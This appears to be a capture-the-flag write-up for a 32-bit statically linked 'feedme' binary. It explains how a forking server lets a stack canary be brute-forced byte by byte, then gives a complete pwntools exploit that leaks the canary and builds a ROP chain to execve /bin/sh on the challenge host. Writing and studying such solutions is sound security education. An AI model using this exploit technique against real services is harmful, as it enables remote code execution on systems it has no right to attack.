In this challenge a 32-bit huge statically liked executable was given. The checksec result of that binary is
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH feedme
NX was enabled but there was no PIE and RPATH. And after executing and little debugging of the file, i found that a parent process generates child process.
The problem works like this, once the binary is been executed the parent process launches child process and after giving the input, again it generates the child process and that happens in a loop and number of bytes of input depends upon on the first byte. For suppose if we input A then we can input only 64 bytes of data.
After little more debugging i got to know that there was a canary and breaking that canary will give you control over instruction pointer.
[*]Brute-force canary first
[*]ROP chain to get the shell
So here is the exploit. Actually this problem is partially solved by all of us, so it was whole bi0s team effort
#!/usr/bin/env python from pwn import * import sys import string pop_eax = 0x080e243d pop_ecx_pop_ebx = 0x0806f371 pop_edx = 0x0806f34a mov_dword_edx_eax = 0x0809a7ed int_0x80 = 0x0806fa20 def bruteForceCanary(p, offset, length): """ @jayakrishna, @rakesh """ canary = "\x00" for byte in xrange(1,length): for canary_byte in xrange(256): hex_byte = chr(canary_byte) payload= str(chr(offset + len(canary) + 1)) + "A"*offset + canary + hex_byte print (canary + hex_byte).encode("hex") p.send(payload) p.recvuntil("...") p.recvline() if p.recvline().find("YUM") > -1: canary += hex_byte break return canary def generateROPChain(): """ @akshay """ rop = p32(pop_edx) rop += p32(0x080ea000) rop += p32(pop_eax) rop += "/bin" rop += p32(mov_dword_edx_eax) rop += p32(pop_edx) rop += p32(0x080ea004) rop += p32(pop_eax) rop += "/sh\0" rop += p32(mov_dword_edx_eax) rop += p32(pop_edx) rop += p32(0x080ea008) # double pointer rop += p32(pop_eax) rop += p32(0x080ea000) rop += p32(mov_dword_edx_eax) rop += p32(pop_edx) rop += p32(0x080ea00c) rop += p32(pop_eax) rop += p32(0) # char** terminator rop += p32(mov_dword_edx_eax) rop += p32(pop_ecx_pop_ebx) rop += p32(0x080ea008) rop += p32(0x080ea000) rop += p32(pop_edx) rop += p32(0x080ea00c) rop += p32(pop_eax) rop += p32(0xb) rop += p32(int_0x80) return rop def main(): target = "feedme_47aa9b0d8ad186754acd4bece3d6a177.quals.shallweplayaga.me" port = 4092 context.bits = 32 if "local" in sys.argv: target = "0.0.0.0" port = 1234 offset_after_canary = 12 p = remote(target,port) payload=str(chr(37)) # placeholder payload+= string.ascii_uppercase + "a"*(32-26) payload+= bruteForceCanary(p, 32,4) payload += "A"*offset_after_canary payload += generateROPChain() if len(payload) > 255: print "\n\nPayload cannot be greater than 255 bytes ", len(payload), "\n\n" sys.exit(0) payload = chr(len(payload)-1) + payload[1:] p.send(payload) p.interactive() if __name__ == "__main__": main()